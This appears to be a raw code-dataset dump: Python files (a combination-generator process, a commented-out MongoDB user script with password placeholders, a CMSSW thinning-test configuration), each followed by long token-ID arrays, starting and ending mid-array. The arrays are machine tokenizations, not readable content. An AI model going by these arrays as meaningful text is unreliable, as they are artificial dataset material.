15886, 29889, 9527, 580, 13, 1678, 411, 3983, 29889, 294, 29918, 4381, 7295, 13, 4706, 934, 29918, 978, 353, 15886, 29889, 27074, 29898, 29881, 1853, 29922, 13264, 29889, 1807, 29897, 13, 4706, 934, 29896, 353, 15886, 29889, 949, 29918, 1445, 29898, 1445, 29918, 978, 29897, 13, 4706, 1967, 353, 15886, 29889, 3027, 29889, 13808, 29918, 2732, 29898, 1445, 29896, 29897, 13, 4706, 396, 1919, 18196, 29922, 29941, 29897, 529, 489, 671, 2211, 18196, 363, 15552, 29890, 14956, 13, 13, 4706, 413, 353, 15886, 29889, 27074, 29898, 13264, 29889, 524, 29941, 29906, 29897, 13, 4706, 15886, 29918, 5450, 29918, 2492, 353, 15886, 29889, 3027, 29889, 5450, 29929, 29900, 29898, 3027, 29892, 413, 29922, 29895, 29897, 13, 13, 4706, 396, 527, 29918, 5450, 353, 15886, 29889, 27074, 29898, 13264, 29889, 7411, 29941, 29906, 29892, 8267, 7607, 2382, 29918, 14226, 29892, 306, 1529, 1692, 29918, 14226, 29892, 29871, 29941, 876, 13, 4706, 15886, 29918, 29888, 3466, 29918, 2492, 353, 15886, 29889, 3027, 29889, 29888, 3466, 29918, 1563, 29918, 1266, 29898, 13264, 29918, 5450, 29918, 2492, 29897, 13, 13, 1678, 411, 15886, 29889, 7317, 29898, 4262, 29922, 4262, 29897, 408, 4867, 29901, 13, 4706, 15886, 29889, 10945, 29918, 20897, 29918, 11228, 3950, 2141, 3389, 580, 13, 4706, 363, 474, 297, 3464, 29898, 2435, 29898, 3027, 29918, 1445, 29918, 7039, 22164, 13, 13, 9651, 363, 432, 297, 3464, 29898, 29946, 1125, 29871, 396, 13733, 472, 29871, 29900, 29892, 29871, 29929, 29900, 29892, 29871, 29896, 29947, 29900, 29892, 29871, 29906, 29955, 29900, 14496, 13, 18884, 5731, 630, 29918, 2492, 353, 4867, 29889, 3389, 29898, 13264, 29918, 5450, 29918, 2492, 29892, 8343, 29918, 8977, 3790, 13, 462, 462, 3986, 934, 29918, 978, 29901, 1967, 29918, 1445, 29918, 7039, 29961, 29875, 1402, 413, 29901, 432, 1800, 13, 18884, 4558, 29889, 4397, 29898, 5450, 630, 29918, 2492, 29897, 13, 13, 18884, 285, 492, 2986, 29918, 2492, 353, 4867, 29889, 3389, 29898, 13, 462, 1678, 15886, 29918, 29888, 3466, 29918, 2492, 29892, 8343, 29918, 8977, 3790, 13, 462, 4706, 934, 29918, 978, 29901, 1967, 29918, 1445, 29918, 7039, 29961, 29875, 1402, 413, 29901, 432, 1800, 13, 18884, 4558, 29889, 4397, 29898, 20157, 2986, 29918, 2492, 29897, 13, 13, 9651, 565, 313, 29875, 29974, 29896, 29897, 1273, 29871, 29896, 29900, 29900, 29900, 1275, 29871, 29900, 29901, 13, 18884, 1596, 877, 20163, 19356, 29901, 13420, 474, 29974, 29896, 29897, 13, 13, 4706, 4867, 29889, 5358, 580, 13, 1678, 736, 4558, 13, 13, 13, 14968, 29918, 8346, 353, 21822, 29918, 3027, 29898, 14968, 29918, 3027, 29918, 1445, 29918, 7039, 29897, 13, 13, 2158, 877, 12181, 7945, 29901, 13420, 7442, 29889, 12181, 29898, 14968, 29918, 8346, 876, 13, 13, 29937, 2803, 29915, 29879, 1074, 777, 310, 278, 4558, 13, 29937, 363, 474, 297, 3464, 29898, 29896, 29900, 29892, 29896, 29946, 1125, 13, 29937, 268, 14770, 29889, 326, 4294, 29898, 14968, 29918, 8346, 29961, 29875, 1822, 690, 14443, 4197, 2382, 29918, 14226, 29892, 2382, 29918, 14226, 11724, 274, 1958, 29922, 572, 29873, 29889, 657, 29918, 29883, 1958, 877, 21012, 8785, 13, 29937, 268, 14770, 29889, 4294, 580, 13, 13, 29937, 363, 15552, 29890, 4558, 29901, 13, 29937, 363, 474, 297, 3464, 29898, 29896, 29900, 29892, 29906, 29900, 1125, 13, 29937, 268, 14770, 29889, 326, 4294, 29898, 14968, 29918, 8346, 29961, 29875, 2314, 13, 29937, 268, 14770, 29889, 4294, 580, 13, 13, 1753, 1653, 29918, 16175, 29898, 1272, 29892, 3858, 29892, 9853, 29918, 2311, 1125, 13, 1678, 474, 353, 29871, 29900, 13, 1678, 1550, 474, 29930, 16175, 29918, 2311, 5277, 7431, 29898, 1272, 1125, 13, 4706, 411, 1722, 29898, 1643, 718, 22868, 29915, 718, 851, 29898, 29875, 29897, 718, 15300, 23945, 280, 742, 525, 29893, 29890, 1495, 408, 4386, 29901, 13, 9651, 2793, 353, 848, 15625, 29875, 334, 9853, 29918, 2311, 1125, 3552, 29875, 29974, 29896, 29897, 334, 9853, 29918, 2311, 4638, 13, 9651, 5839, 280, 29889, 15070, 29898, 3051, 29892, 4386, 29897, 13, 9651, 1596, 877, 29903, 10511, 742, 3858, 29892, 525, 1595, 396, 29915, 718, 851, 29898, 29875, 511, 13, 462, 29871, 525, 2541, 742, 7431, 29898, 3051, 511, 525, 26586, 29889, 1495, 13, 4706, 474, 4619, 29871, 29896, 13, 13, 13, 29937, 6204, 697, 7375, 8025, 363, 11073, 13, 29937, 11073, 353, 5519, 29896, 1696, 29871, 29900, 5586, 565, 525, 26169, 29915, 297, 1024, 1683, 518, 29900, 1696, 29871, 29896, 5586, 363, 1024, 297, 7945, 29918, 3027, 29918, 1445, 29918, 7039, 29962, 13, 29937, 1438, 526, 599, 1855, 4558, 29892, 577, 1235, 29915, 29879, 19750, 963, 599, 411, 29871, 29896, 29915, 29879, 13, 21134, 353, 5519, 29896, 1696, 29871, 29900, 5586, 363, 1024, 297, 7945, 29918, 3027, 29918, 1445, 29918, 7039, 29962, 13, 13, 29937, 7495, 8528, 15082, 360, 8254, 17980, 27694, 29940, 4214, 11247, 29907, 9818, 29979, 448, 8291, 3217, 7428, 3919, 6093, 1660, 21724, 2890, 13, 29937, 263, 9853, 411, 29871, 29945, 29900, 29900, 29900, 4558, 756, 263, 2159, 310, 2820, 29871, 29941, 29889, 29945, 19289, 13, 29937, 1653, 29918, 16175, 29898, 21134, 29892, 525, 23945, 839, 29914, 742, 7442, 29889, 12181, 29898, 14968, 29918, 8346, 9601, 29900, 2314, 13, 3258, 29918, 16175, 29898, 14968, 29918, 8346, 29892, 525, 23945, 839, 29914, 742, 7442, 29889, 12181, 29898, 14968, 29918, 8346, 9601, 29900, 2314, 13, 13, 2158, 877, 15091, 4969, 8783, 1495, 13, 2 ]
combination/combination_generator_process.py
leodenault/mhw_optimizer
0
149106
<filename>combination/combination_generator_process.py from multiprocessing import Process, Value from typing import List from combination.data_structures import MaxCapacityMaxHeap from combination.equipment_view import EquipmentView from scorer import Scorer DONE_MESSAGE = "combination_generation_done" class CombinationGeneratorProcess(Process): def __init__( self, equipment_views: List[EquipmentView], combination_queue, shared_increment: Value, scorer: Scorer, max_capacity: int ): super(CombinationGeneratorProcess, self).__init__() self._equipment_views = equipment_views self._combination_queue = combination_queue self._shared_increment = shared_increment self._scorer = scorer self._max_capacity = max_capacity def run(self) -> None: combination_heap = MaxCapacityMaxHeap(self._max_capacity) for view in self._equipment_views: for combination in view: combination_heap.push(self._scorer.score(combination)) with self._shared_increment.get_lock(): self._shared_increment.value += 1 self._combination_queue.put(combination_heap.heap) self._combination_queue.put(DONE_MESSAGE)
[ 1, 529, 9507, 29958, 510, 2109, 362, 29914, 510, 2109, 362, 29918, 27959, 29918, 5014, 29889, 2272, 13, 3166, 6674, 307, 985, 292, 1053, 10554, 29892, 7865, 13, 3166, 19229, 1053, 2391, 13, 13, 3166, 10296, 29889, 1272, 29918, 4984, 1973, 1053, 5918, 12415, 5946, 7976, 3868, 481, 13, 3166, 10296, 29889, 1686, 666, 358, 29918, 1493, 1053, 11243, 666, 358, 1043, 13, 3166, 885, 9386, 1053, 2522, 9386, 13, 13, 29928, 12413, 29918, 2303, 1799, 10461, 353, 376, 510, 2109, 362, 29918, 4738, 362, 29918, 15091, 29908, 13, 13, 13, 1990, 422, 2109, 362, 21575, 7032, 29898, 7032, 1125, 13, 1678, 822, 4770, 2344, 12035, 13, 4706, 1583, 29892, 13, 4706, 21083, 29918, 7406, 29901, 2391, 29961, 6108, 666, 358, 1043, 1402, 13, 4706, 10296, 29918, 9990, 29892, 13, 4706, 7258, 29918, 25629, 29901, 7865, 29892, 13, 4706, 885, 9386, 29901, 2522, 9386, 29892, 13, 4706, 4236, 29918, 5030, 5946, 29901, 938, 13, 268, 1125, 13, 4706, 2428, 29898, 1523, 2109, 362, 21575, 7032, 29892, 1583, 467, 1649, 2344, 1649, 580, 13, 4706, 1583, 3032, 1686, 666, 358, 29918, 7406, 353, 21083, 29918, 7406, 13, 4706, 1583, 3032, 510, 2109, 362, 29918, 9990, 353, 10296, 29918, 9990, 13, 4706, 1583, 3032, 12366, 29918, 25629, 353, 7258, 29918, 25629, 13, 4706, 1583, 3032, 1557, 9386, 353, 885, 9386, 13, 4706, 1583, 3032, 3317, 29918, 5030, 5946, 353, 4236, 29918, 5030, 5946, 13, 13, 1678, 822, 1065, 29898, 1311, 29897, 1599, 6213, 29901, 13, 4706, 10296, 29918, 354, 481, 353, 5918, 12415, 5946, 7976, 3868, 481, 29898, 1311, 3032, 3317, 29918, 5030, 5946, 29897, 13, 4706, 363, 1776, 297, 1583, 3032, 1686, 666, 358, 29918, 7406, 29901, 13, 9651, 363, 10296, 297, 1776, 29901, 13, 18884, 10296, 29918, 354, 481, 29889, 5910, 29898, 1311, 3032, 1557, 9386, 29889, 13628, 29898, 510, 2109, 362, 876, 13, 18884, 411, 1583, 3032, 12366, 29918, 25629, 29889, 657, 29918, 908, 7295, 13, 462, 1678, 1583, 3032, 12366, 29918, 25629, 29889, 1767, 4619, 29871, 29896, 13, 4706, 1583, 3032, 510, 2109, 362, 29918, 9990, 29889, 649, 29898, 510, 2109, 362, 29918, 354, 481, 29889, 354, 481, 29897, 13, 4706, 1583, 3032, 510, 2109, 362, 29918, 9990, 29889, 649, 29898, 29928, 12413, 29918, 2303, 1799, 10461, 29897, 13, 13, 2 ]
application/web/populate_users.py
satan1a/poopak
91
1602512
<filename>application/web/populate_users.py #!/usr/bin/python # # from werkzeug.security import generate_password_hash # from pymongo import MongoClient # from pymongo.errors import DuplicateKeyError # # # def populate_user(client, user, password): # # Connect to the DB # # collection = MongoClient()["crawler"]["users"] # # # Ask for data to store # user = user # password = password # pass_hash = generate_password_hash(password, method='pbkdf2:sha256') # # # Insert the user in the DB # try: # client.insert({"_id": user, "password": <PASSWORD>_<PASSWORD>}) # print ("User created.") # except DuplicateKeyError: # print ("User already present in DB.") # # if __name__ == '__main__': # main()
[ 1, 529, 9507, 29958, 6214, 29914, 2676, 29914, 7323, 5987, 29918, 7193, 29889, 2272, 13, 29937, 14708, 4855, 29914, 2109, 29914, 4691, 13, 29937, 13, 29937, 515, 23085, 13289, 29889, 8926, 1053, 5706, 29918, 5630, 29918, 8568, 13, 29937, 515, 282, 962, 7443, 1053, 18294, 4032, 13, 29937, 515, 282, 962, 7443, 29889, 12523, 1053, 18733, 5926, 2558, 2392, 13, 29937, 13, 29937, 13, 29937, 822, 19450, 29918, 1792, 29898, 4645, 29892, 1404, 29892, 4800, 1125, 13, 29937, 268, 396, 14971, 304, 278, 6535, 13, 29937, 268, 396, 4333, 353, 18294, 4032, 580, 3366, 29883, 1610, 1358, 3108, 3366, 7193, 3108, 13, 29937, 13, 29937, 268, 396, 26579, 363, 848, 304, 3787, 13, 29937, 268, 1404, 353, 1404, 13, 29937, 268, 4800, 353, 4800, 13, 29937, 268, 1209, 29918, 8568, 353, 5706, 29918, 5630, 29918, 8568, 29898, 5630, 29892, 1158, 2433, 24381, 29895, 2176, 29906, 29901, 17051, 29906, 29945, 29953, 1495, 13, 29937, 13, 29937, 268, 396, 24505, 278, 1404, 297, 278, 6535, 13, 29937, 268, 1018, 29901, 13, 29937, 308, 3132, 29889, 7851, 3319, 29908, 29918, 333, 1115, 1404, 29892, 376, 5630, 1115, 529, 25711, 17013, 29958, 29918, 29966, 25711, 17013, 29958, 1800, 13, 29937, 308, 1596, 4852, 2659, 2825, 23157, 13, 29937, 268, 5174, 18733, 5926, 2558, 2392, 29901, 13, 29937, 308, 1596, 4852, 2659, 2307, 2198, 297, 6535, 23157, 13, 29937, 13, 13, 29937, 565, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 29937, 268, 1667, 580, 13, 13, 13, 2 ]
FWCore/Integration/test/ThinningTest1_cfg.py
gputtley/cmssw
6
20475
<filename>FWCore/Integration/test/ThinningTest1_cfg.py # This process is the first step of a test that involves multiple # processing steps. It tests the thinning collections and # redirecting Refs, Ptrs, and RefToBases. # # Produce 15 thinned collections # # Collection A contains Things 0-8 # Collection B contains Things 0-3 and made from collection A # Collection C contains Things 4-7 and made from collection A # # x Collection D contains Things 10-18 # Collection E contains Things 10-14 and made from collection D # Collection F contains Things 14-17 and made from collection D # # Collection G contains Things 20-28 # x Collection H contains Things 20-23 and made from collection G # x Collection I contains Things 24-27 and made from collection G # # x Collection J contains Things 30-38 # x Collection K contains Things 30-33 and made from collection J # x Collection L contains Things 34-37 and made from collection J # # x Collection M contains Things 40-48 # x Collection N contains Things 40-43 and made from collection M # Collection O contains Things 44-47 and made from collection M # # The collections marked with an x will get deleted in the next # processing step. # # The Things kept are set by creating TracksOfThings which # reference them and using those in the selection of a # Thinning Producer. # # The ThinningTestAnalyzer checks that things are working as # they are supposed to work. import FWCore.ParameterSet.Config as cms process = cms.Process("PROD") process.options = cms.untracked.PSet( numberOfStreams = cms.untracked.uint32(1) ) process.maxEvents = cms.untracked.PSet( input = cms.untracked.int32(3) ) process.source = cms.Source("EmptySource") process.WhatsItESProducer = cms.ESProducer("WhatsItESProducer") process.DoodadESSource = cms.ESSource("DoodadESSource") process.thingProducer = cms.EDProducer("ThingProducer", offsetDelta = cms.int32(100), nThings = cms.int32(50) ) process.thingProducer2 = cms.EDProducer("ThingProducer", offsetDelta = cms.int32(100), nThings = cms.int32(50) ) process.thingProducer2alias = cms.EDAlias( thingProducer2 = cms.VPSet( cms.PSet(type = cms.string('edmtestThings')) ) ) process.trackOfThingsProducerA = cms.EDProducer("TrackOfThingsProducer", inputTag = cms.InputTag('thingProducer'), keysToReference = cms.vuint32(0, 1, 2, 3, 4, 5, 6, 7, 8) ) process.trackOfThingsProducerB = cms.EDProducer("TrackOfThingsProducer", inputTag = cms.InputTag('thingProducer'), keysToReference = cms.vuint32(0, 1, 2, 3) ) process.trackOfThingsProducerC = cms.EDProducer("TrackOfThingsProducer", inputTag = cms.InputTag('thingProducer'), keysToReference = cms.vuint32(4, 5, 6, 7) ) process.trackOfThingsProducerD = cms.EDProducer("TrackOfThingsProducer", inputTag = cms.InputTag('thingProducer'), keysToReference = cms.vuint32(10, 11, 12, 13, 14, 15, 16, 17, 18) ) process.trackOfThingsProducerDPlus = cms.EDProducer("TrackOfThingsProducer", inputTag = cms.InputTag('thingProducer'), keysToReference = cms.vuint32(10, 11, 12, 13, 14, 15, 16, 17, 18, 21) ) process.trackOfThingsProducerE = cms.EDProducer("TrackOfThingsProducer", inputTag = cms.InputTag('thingProducer'), keysToReference = cms.vuint32(10, 11, 12, 13, 14) ) process.trackOfThingsProducerF = cms.EDProducer("TrackOfThingsProducer", inputTag = cms.InputTag('thingProducer'), keysToReference = cms.vuint32(14, 15, 16, 17) ) process.trackOfThingsProducerG = cms.EDProducer("TrackOfThingsProducer", inputTag = cms.InputTag('thingProducer'), keysToReference = cms.vuint32(20, 21, 22, 23, 24, 25, 26, 27, 28) ) process.trackOfThingsProducerH = cms.EDProducer("TrackOfThingsProducer", inputTag = cms.InputTag('thingProducer'), keysToReference = cms.vuint32(20, 21, 22, 23) ) process.trackOfThingsProducerI = cms.EDProducer("TrackOfThingsProducer", inputTag = cms.InputTag('thingProducer'), keysToReference = cms.vuint32(24, 25, 26, 27) ) process.trackOfThingsProducerJ = cms.EDProducer("TrackOfThingsProducer", inputTag = cms.InputTag('thingProducer'), keysToReference = cms.vuint32(30, 31, 32, 33, 34, 35, 36, 37, 38) ) process.trackOfThingsProducerK = cms.EDProducer("TrackOfThingsProducer", inputTag = cms.InputTag('thingProducer'), keysToReference = cms.vuint32(30, 31, 32, 33) ) process.trackOfThingsProducerL = cms.EDProducer("TrackOfThingsProducer", inputTag = cms.InputTag('thingProducer'), keysToReference = cms.vuint32(34, 35, 36, 37) ) process.trackOfThingsProducerM = cms.EDProducer("TrackOfThingsProducer", inputTag = cms.InputTag('thingProducer'), keysToReference = cms.vuint32(40, 41, 42, 43, 44, 45, 46, 47, 48) ) process.trackOfThingsProducerN = cms.EDProducer("TrackOfThingsProducer", inputTag = cms.InputTag('thingProducer'), keysToReference = cms.vuint32(40, 41, 42, 43) ) process.trackOfThingsProducerO = cms.EDProducer("TrackOfThingsProducer", inputTag = cms.InputTag('thingProducer'), keysToReference = cms.vuint32(44, 45, 46, 47) ) process.trackOfThingsProducerD2 = cms.EDProducer("TrackOfThingsProducer", inputTag = cms.InputTag('thingProducer2'), keysToReference = cms.vuint32(10, 11, 12, 13, 14, 15, 16, 17, 18) ) process.trackOfThingsProducerE2 = cms.EDProducer("TrackOfThingsProducer", inputTag = cms.InputTag('thingProducer2'), keysToReference = cms.vuint32(10, 11, 12, 13, 14) ) process.trackOfThingsProducerF2 = cms.EDProducer("TrackOfThingsProducer", inputTag = cms.InputTag('thingProducer2'), keysToReference = cms.vuint32(14, 15, 16, 17) ) process.thinningThingProducerA = cms.EDProducer("ThinningThingProducer", inputTag = cms.InputTag('thingProducer'), trackTag = cms.InputTag('trackOfThingsProducerA'), offsetToThinnedKey = cms.uint32(0), expectedCollectionSize = cms.uint32(50) ) process.thinningThingProducerB = cms.EDProducer("ThinningThingProducer", inputTag = cms.InputTag('thinningThingProducerA'), trackTag = cms.InputTag('trackOfThingsProducerB'), offsetToThinnedKey = cms.uint32(0), expectedCollectionSize = cms.uint32(9) ) process.thinningThingProducerC = cms.EDProducer("ThinningThingProducer", inputTag = cms.InputTag('thinningThingProducerA'), trackTag = cms.InputTag('trackOfThingsProducerC'), offsetToThinnedKey = cms.uint32(0), expectedCollectionSize = cms.uint32(9) ) process.thinningThingProducerD = cms.EDProducer("ThinningThingProducer", inputTag = cms.InputTag('thingProducer'), trackTag = cms.InputTag('trackOfThingsProducerD'), offsetToThinnedKey = cms.uint32(0), expectedCollectionSize = cms.uint32(50) ) process.thinningThingProducerE = cms.EDProducer("ThinningThingProducer", inputTag = cms.InputTag('thinningThingProducerD'), trackTag = cms.InputTag('trackOfThingsProducerE'), offsetToThinnedKey = cms.uint32(10), expectedCollectionSize = cms.uint32(9) ) process.thinningThingProducerF = cms.EDProducer("ThinningThingProducer", inputTag = cms.InputTag('thinningThingProducerD'), trackTag = cms.InputTag('trackOfThingsProducerF'), offsetToThinnedKey = cms.uint32(10), expectedCollectionSize = cms.uint32(9) ) process.thinningThingProducerG = cms.EDProducer("ThinningThingProducer", inputTag = cms.InputTag('thingProducer'), trackTag = cms.InputTag('trackOfThingsProducerG'), offsetToThinnedKey = cms.uint32(0), expectedCollectionSize = cms.uint32(50) ) process.thinningThingProducerH = cms.EDProducer("ThinningThingProducer", inputTag = cms.InputTag('thinningThingProducerG'), trackTag = cms.InputTag('trackOfThingsProducerH'), offsetToThinnedKey = cms.uint32(20), expectedCollectionSize = cms.uint32(9) ) process.thinningThingProducerI = cms.EDProducer("ThinningThingProducer", inputTag = cms.InputTag('thinningThingProducerG'), trackTag = cms.InputTag('trackOfThingsProducerI'), offsetToThinnedKey = cms.uint32(20), expectedCollectionSize = cms.uint32(9) ) process.thinningThingProducerJ = cms.EDProducer("ThinningThingProducer", inputTag = cms.InputTag('thingProducer'), trackTag = cms.InputTag('trackOfThingsProducerJ'), offsetToThinnedKey = cms.uint32(0), expectedCollectionSize = cms.uint32(50) ) process.thinningThingProducerK = cms.EDProducer("ThinningThingProducer", inputTag = cms.InputTag('thinningThingProducerJ'), trackTag = cms.InputTag('trackOfThingsProducerK'), offsetToThinnedKey = cms.uint32(30), expectedCollectionSize = cms.uint32(9) ) process.thinningThingProducerL = cms.EDProducer("ThinningThingProducer", inputTag = cms.InputTag('thinningThingProducerJ'), trackTag = cms.InputTag('trackOfThingsProducerL'), offsetToThinnedKey = cms.uint32(30), expectedCollectionSize = cms.uint32(9) ) process.thinningThingProducerM = cms.EDProducer("ThinningThingProducer", inputTag = cms.InputTag('thingProducer'), trackTag = cms.InputTag('trackOfThingsProducerM'), offsetToThinnedKey = cms.uint32(0), expectedCollectionSize = cms.uint32(50) ) process.aliasM = cms.EDAlias( thinningThingProducerM = cms.VPSet( cms.PSet(type = cms.string('edmtestThings')), # the next one should get ignored cms.PSet(type = cms.string('edmThinnedAssociation')) ) ) process.thinningThingProducerN = cms.EDProducer("ThinningThingProducer", inputTag = cms.InputTag('thinningThingProducerM'), trackTag = cms.InputTag('trackOfThingsProducerN'), offsetToThinnedKey = cms.uint32(40), expectedCollectionSize = cms.uint32(9) ) process.aliasN = cms.EDAlias( thinningThingProducerN = cms.VPSet( cms.PSet(type = cms.string('edmtestThings')), # the next one should get ignored cms.PSet(type = cms.string('edmThinnedAssociation')) ) ) process.thinningThingProducerO = cms.EDProducer("ThinningThingProducer", inputTag = cms.InputTag('aliasM'), trackTag = cms.InputTag('trackOfThingsProducerO'), offsetToThinnedKey = cms.uint32(40), expectedCollectionSize = cms.uint32(9) ) process.aliasO = cms.EDAlias( thinningThingProducerO = cms.VPSet( cms.PSet(type = cms.string('edmtestThings')), # the next one should get ignored cms.PSet(type = cms.string('edmThinnedAssociation')) ) ) process.testA = cms.EDAnalyzer("ThinningTestAnalyzer", parentTag = cms.InputTag('thingProducer'), thinnedTag = cms.InputTag('thinningThingProducerA'), associationTag = cms.InputTag('thinningThingProducerA'), trackTag = cms.InputTag('trackOfThingsProducerA'), expectedParentContent = cms.vint32( 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49 ), expectedThinnedContent = cms.vint32(0, 1, 2, 3, 4, 5, 6, 7, 8), expectedIndexesIntoParent = cms.vuint32(0, 1, 2, 3, 4, 5, 6, 7, 8), expectedValues = cms.vint32(0, 1, 2, 3, 4, 5, 6, 7, 8) ) process.testB = cms.EDAnalyzer("ThinningTestAnalyzer", parentTag = cms.InputTag('thinningThingProducerA'), thinnedTag = cms.InputTag('thinningThingProducerB'), associationTag = cms.InputTag('thinningThingProducerB'), trackTag = cms.InputTag('trackOfThingsProducerB'), expectedParentContent = cms.vint32( 0, 1, 2, 3, 4, 5, 6, 7, 8), expectedThinnedContent = cms.vint32(0, 1, 2, 3), expectedIndexesIntoParent = cms.vuint32(0, 1, 2, 3), expectedValues = cms.vint32(0, 1, 2, 3) ) process.testC = cms.EDAnalyzer("ThinningTestAnalyzer", parentTag = cms.InputTag('thinningThingProducerA'), thinnedTag = cms.InputTag('thinningThingProducerC'), associationTag = cms.InputTag('thinningThingProducerC'), trackTag = cms.InputTag('trackOfThingsProducerC'), expectedParentContent = cms.vint32( 0, 1, 2, 3, 4, 5, 6, 7, 8), expectedThinnedContent = cms.vint32(4, 5, 6, 7), expectedIndexesIntoParent = cms.vuint32(4, 5, 6, 7), expectedValues = cms.vint32(4, 5, 6, 7) ) process.out = cms.OutputModule("PoolOutputModule", fileName = cms.untracked.string('testThinningTest1.root'), outputCommands = cms.untracked.vstring( 'keep *', 'drop *_thingProducer2_*_*', 'drop *_thinningThingProducerM_*_*', 'drop *_thinningThingProducerN_*_*', 'drop *_thinningThingProducerO_*_*' ) ) process.out2 = cms.OutputModule("EventStreamFileWriter", fileName = cms.untracked.string('testThinningStreamerout.dat'), compression_level = cms.untracked.int32(1), use_compression = cms.untracked.bool(True), max_event_size = cms.untracked.int32(7000000), outputCommands = cms.untracked.vstring( 'keep *', 'drop *_thingProducer_*_*', 'drop *_thingProducer2_*_*', 'drop *_thinningThingProducerD_*_*', 'drop *_thinningThingProducerH_*_*', 'drop *_thinningThingProducerI_*_*', 'drop *_thinningThingProducerJ_*_*', 'drop *_thinningThingProducerK_*_*', 'drop *_thinningThingProducerL_*_*', 'drop *_thinningThingProducerM_*_*', 'drop *_thinningThingProducerN_*_*', 'drop *_thinningThingProducerO_*_*', 'drop *_aliasM_*_*', 'drop *_aliasN_*_*' ) ) process.p = cms.Path(process.thingProducer * process.thingProducer2 * process.trackOfThingsProducerA * process.trackOfThingsProducerB * process.trackOfThingsProducerC * process.trackOfThingsProducerD * process.trackOfThingsProducerDPlus * process.trackOfThingsProducerE * process.trackOfThingsProducerF * process.trackOfThingsProducerG * process.trackOfThingsProducerH * process.trackOfThingsProducerI * process.trackOfThingsProducerJ * process.trackOfThingsProducerK * process.trackOfThingsProducerL * process.trackOfThingsProducerM * process.trackOfThingsProducerN * process.trackOfThingsProducerO * process.trackOfThingsProducerD2 * process.trackOfThingsProducerE2 * process.trackOfThingsProducerF2 * process.thinningThingProducerA * process.thinningThingProducerB * process.thinningThingProducerC * process.thinningThingProducerD * process.thinningThingProducerE * process.thinningThingProducerF * process.thinningThingProducerG * process.thinningThingProducerH * process.thinningThingProducerI * process.thinningThingProducerJ * process.thinningThingProducerK * process.thinningThingProducerL * process.thinningThingProducerM * process.thinningThingProducerN * process.thinningThingProducerO * process.testA * process.testB * process.testC ) process.endPath = cms.EndPath(process.out * process.out2)
[ 1, 529, 9507, 29958, 29943, 29956, 9203, 29914, 23573, 362, 29914, 1688, 29914, 1349, 262, 1076, 3057, 29896, 29918, 16859, 29889, 2272, 13, 29937, 910, 1889, 338, 278, 937, 4331, 310, 263, 1243, 393, 20789, 2999, 13, 29937, 9068, 6576, 29889, 739, 6987, 278, 16835, 1076, 16250, 322, 13, 29937, 6684, 292, 830, 5847, 29892, 349, 509, 29879, 29892, 322, 9897, 1762, 29933, 2129, 29889, 13, 29937, 13, 29937, 7138, 346, 29871, 29896, 29945, 266, 27464, 16250, 13, 29937, 13, 29937, 259, 14348, 319, 3743, 28706, 29871, 29900, 29899, 29947, 13, 29937, 259, 14348, 350, 3743, 28706, 29871, 29900, 29899, 29941, 322, 1754, 515, 4333, 319, 13, 29937, 259, 14348, 315, 3743, 28706, 29871, 29946, 29899, 29955, 322, 1754, 515, 4333, 319, 13, 29937, 13, 29937, 921, 14348, 360, 3743, 28706, 29871, 29896, 29900, 29899, 29896, 29947, 13, 29937, 259, 14348, 382, 3743, 28706, 29871, 29896, 29900, 29899, 29896, 29946, 322, 1754, 515, 4333, 360, 13, 29937, 259, 14348, 383, 3743, 28706, 29871, 29896, 29946, 29899, 29896, 29955, 322, 1754, 515, 4333, 360, 13, 29937, 13, 29937, 259, 14348, 402, 3743, 28706, 29871, 29906, 29900, 29899, 29906, 29947, 13, 29937, 921, 14348, 379, 3743, 28706, 29871, 29906, 29900, 29899, 29906, 29941, 322, 1754, 515, 4333, 402, 13, 29937, 921, 14348, 306, 3743, 28706, 29871, 29906, 29946, 29899, 29906, 29955, 322, 1754, 515, 4333, 402, 13, 29937, 13, 29937, 921, 14348, 435, 3743, 28706, 29871, 29941, 29900, 29899, 29941, 29947, 13, 29937, 921, 14348, 476, 3743, 28706, 29871, 29941, 29900, 29899, 29941, 29941, 322, 1754, 515, 4333, 435, 13, 29937, 921, 14348, 365, 3743, 28706, 29871, 29941, 29946, 29899, 29941, 29955, 322, 1754, 515, 4333, 435, 13, 29937, 13, 29937, 921, 14348, 341, 3743, 28706, 29871, 29946, 29900, 29899, 29946, 29947, 13, 29937, 921, 14348, 405, 3743, 28706, 29871, 29946, 29900, 29899, 29946, 29941, 322, 1754, 515, 4333, 341, 13, 29937, 259, 14348, 438, 3743, 28706, 29871, 29946, 29946, 29899, 29946, 29955, 322, 1754, 515, 4333, 341, 13, 29937, 13, 29937, 450, 16250, 10902, 411, 385, 921, 674, 679, 11132, 297, 278, 2446, 13, 29937, 9068, 4331, 29889, 13, 29937, 13, 29937, 450, 28706, 8126, 526, 731, 491, 4969, 3201, 4684, 2776, 1349, 886, 607, 13, 29937, 3407, 963, 322, 773, 1906, 297, 278, 9262, 310, 263, 13, 29937, 498, 262, 1076, 7138, 2265, 29889, 13, 29937, 13, 29937, 450, 498, 262, 1076, 3057, 2744, 14997, 3298, 12747, 393, 2712, 526, 1985, 408, 13, 29937, 896, 526, 7424, 304, 664, 29889, 13, 13, 5215, 383, 29956, 9203, 29889, 9329, 2697, 29889, 3991, 408, 274, 1516, 13, 13, 5014, 353, 274, 1516, 29889, 7032, 703, 8618, 29928, 1159, 13, 13, 5014, 29889, 6768, 353, 274, 1516, 29889, 1657, 22282, 287, 29889, 29925, 2697, 29898, 13, 1678, 1353, 2776, 3835, 29879, 353, 274, 1516, 29889, 1657, 22282, 287, 29889, 13470, 29941, 29906, 29898, 29896, 29897, 13, 29897, 13, 13, 5014, 29889, 3317, 13634, 353, 274, 1516, 29889, 1657, 22282, 287, 29889, 29925, 2697, 29898, 13, 1678, 1881, 353, 274, 1516, 29889, 1657, 22282, 287, 29889, 524, 29941, 29906, 29898, 29941, 29897, 13, 29897, 13, 13, 5014, 29889, 4993, 353, 274, 1516, 29889, 4435, 703, 8915, 4435, 1159, 13, 13, 5014, 29889, 8809, 1446, 3112, 2890, 23665, 2265, 353, 274, 1516, 29889, 2890, 23665, 2265, 703, 8809, 1446, 3112, 2890, 23665, 2265, 1159, 13, 13, 5014, 29889, 29928, 2092, 328, 29923, 1799, 1167, 353, 274, 1516, 29889, 29923, 1799, 1167, 703, 29928, 2092, 328, 29923, 1799, 1167, 1159, 13, 13, 5014, 29889, 1918, 